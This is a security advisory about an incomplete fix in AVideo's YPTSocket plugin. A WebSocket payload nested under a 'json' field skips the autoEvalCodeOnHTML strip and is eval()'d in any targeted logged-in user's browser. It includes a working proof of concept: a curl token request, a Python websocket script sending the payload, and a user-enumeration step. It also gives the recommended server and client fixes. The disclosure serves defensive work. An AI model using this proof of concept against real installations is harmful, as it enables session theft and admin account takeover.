AVideo has an Incomplete Fix for YPTSocket autoEvalCodeOnHTML Strip: Unauthenticated Cross-User JavaScript Execution via `$msg['json']` Relay Bypass

Summary

The server-side mitigation for the YPTSocket autoEvalCodeOnHTML eval sink (prior advisory GHSA-gph2-j4c9-vhhr, commit c08694bf6) only strips the payload when it sits under $json['msg'], but the relay function msgToResourceId() selects the outbound message from $msg['json'] before $msg['msg']. An unauthenticated attacker can obtain a WebSocket token from plugin/YPTSocket/getWebSocket.json.php, connect to the WebSocket server, and send a message with autoEvalCodeOnHTML nested under a top-level json field — the strip branch is skipped, the relay delivers the payload verbatim to any logged-in user identified by to_users_id, and the client script runs it through eval().

Details

Entry point (unauthenticated)

plugin/YPTSocket/getWebSocket.json.php (lines 1–21) issues a valid WebSocket token to any caller, with no authentication or CSRF check:

$obj->webSocketToken = getEncryptedInfo(0);
$obj->webSocketURL = YPTSocket::getWebSocketURL();
die(json_encode($obj));

getEncryptedInfo() defaults to sentFrom = 'browser' and a non-CLI flag (plugin/YPTSocket/functions.php:3-47), so a token minted for an anonymous browser client will cause the strip branch below to run — which is exactly what we want to audit.

Incomplete strip (the fix from commit c08694bf6)

plugin/YPTSocket/Message.php:236-247:

// Strip eval-able fields from browser/guest messages.
if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {
    if (is_array($json['msg'] ?? null)) {
        unset($json['msg']['autoEvalCodeOnHTML']);          // <-- only strips $json['msg']
    }
    if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {
        unset($json['callback']);
    }
}

If the incoming $json['msg'] is a scalar (e.g. the string "x"), is_array(...) is false and the strip is skipped entirely. Any eval-able content that lives elsewhere in $json passes through untouched. The same flawed check exists in plugin/YPTSocket/MessageSQLiteV2.php:285-293.

Relay preference picks the untouched field

plugin/YPTSocket/Message.php:316-322 (and the mirror at MessageSQLiteV2.php:396-402):

if (!empty($msg['json'])) {
    $obj['msg'] = $msg['json'];          // <-- preferred carrier; never stripped
} else if (!empty($msg['msg'])) {
    $obj['msg'] = $msg['msg'];
} else {
    $obj['msg'] = $msg;
}

An attacker payload shaped as {"msg": "x", "json": {"autoEvalCodeOnHTML": "<js>"}, "to_users_id": <victim>} therefore:

1. Passes switch ($json->msg) into the default case (Message.php:211, 228).
2. msgToArray($json) converts to array. The strip branch enters because sentFrom === 'browser', but is_array("x") is false and the strip is skipped.
3. Routing lands on msgToUsers_id($json, $json['to_users_id']) (Message.php:253), which for each matching resource calls msgToResourceId($msg, $resourceId) (Message.php:379).
4. In msgToResourceId, !empty($msg['json']) is true, so $obj['msg'] becomes {"autoEvalCodeOnHTML": "<js>"} (Message.php:316-317).
5. The shouldPropagateInfo() check at Message.php:287-289 only logs — it does not return — so delivery proceeds regardless.

Client-side sink

plugin/YPTSocket/script.js:573-575:

if (json.msg?.autoEvalCodeOnHTML !== undefined) {
    eval(json.msg.autoEvalCodeOnHTML);
}

Any logged-in user with an active browser tab runs the attacker-supplied JavaScript in the origin of the AVideo installation.

Routing to any user

msgToUsers_id() (Message.php:362-389) looks up to_users_id against $this->clientsUsersId and relays to every resource belonging to that user. Because to_users_id comes straight from attacker input, any currently connected user (regular or admin) can be targeted. Active users_id values can be enumerated via the existing getClientsList request handled at Message.php:219-224 using the same unauthenticated token.

PoC

Step 1 — mint an unauthenticated WebSocket token:

curl -sk 'https://target/plugin/YPTSocket/getWebSocket.json.php'
# {"error":false,"webSocketToken":"<TOKEN>","webSocketURL":"wss://target:2053?webSocketToken=<TOKEN>&isCommandLine=0", ...}

Step 2 — connect and send the crafted message:

import json, ssl, websocket

TOKEN  = '<TOKEN>'          # from step 1
URL    = 'wss://target:2053?webSocketToken=' + TOKEN + '&isCommandLine=0'
VICTIM = 2                  # any logged-in users_id with an open tab

ws = websocket.create_connection(URL, sslopt={'cert_reqs': ssl.CERT_NONE})
payload = {
    'msg': 'x',                                                  # scalar -> strip branch skipped
    'webSocketToken': TOKEN,
    'json': {'autoEvalCodeOnHTML': "alert('XSS in '+document.domain)"},
    'to_users_id': VICTIM,
}
ws.send(json.dumps(payload))
ws.close()

Expected result: the victim's tab receives {"type":"DEFAULT_MESSAGE","msg":{"autoEvalCodeOnHTML":"alert(...)"}, ...} and executes the JavaScript via eval().

Optional Step 0 — enumerate active users (using the same token):

ws.send(json.dumps({'msg': 'getClientsList', 'webSocketToken': TOKEN}))
# response lists active users_id values

Impact

• Unauthenticated XSS / arbitrary JS execution in any logged-in user's browser session. The victim only needs a tab open on the site — no click, no link, no CSRF.
• Same-origin compromise: the attacker's JS runs in the target origin, so it can read DOM/tokens, make authenticated XHR calls on the victim's behalf, and exfiltrate session data.
• Privilege escalation when an admin is targeted: arbitrary admin-panel actions via same-origin XHR — account takeover, plugin configuration changes, file uploads, etc.
• Mass exploitation feasible: getClientsList (also reachable with the anonymous token) enumerates active users_id values, and the attacker can iterate to_users_id across all of them.
• This is an incomplete fix for GHSA-gph2-j4c9-vhhr — deployments that patched to commit c08694bf6 remain exploitable.

Recommended Fix

Scrub autoEvalCodeOnHTML from every outbound carrier the relay may choose, not only from $json['msg']. Patch both plugin/YPTSocket/Message.php and plugin/YPTSocket/MessageSQLiteV2.php. For example, replace the current strip in onMessage():

if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {
    foreach (['msg', 'json'] as $k) {
        if (is_array($json[$k] ?? null)) {
            unset($json[$k]['autoEvalCodeOnHTML']);
        }
    }
    // also strip a top-level field so the fallback `$obj['msg'] = $msg` path is safe
    if (isset($json['autoEvalCodeOnHTML'])) {
        unset($json['autoEvalCodeOnHTML']);
    }
    if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {
        unset($json['callback']);
    }
}

Additionally, harden the relay itself in msgToResourceId() (both files) so future regressions cannot reintroduce the sink — walk the chosen $obj['msg'] recursively and unset autoEvalCodeOnHTML whenever the message originated from a non-PHP, non-CLI client. As defense in depth, remove or gate the client-side eval(json.msg.autoEvalCodeOnHTML) at plugin/YPTSocket/script.js:573-575 behind a server-signed field rather than a plain JSON key.